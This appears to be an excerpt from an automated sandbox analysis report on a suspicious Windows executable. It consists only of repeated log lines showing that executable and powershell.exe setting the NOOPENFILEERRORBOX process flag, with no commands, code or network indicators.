Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
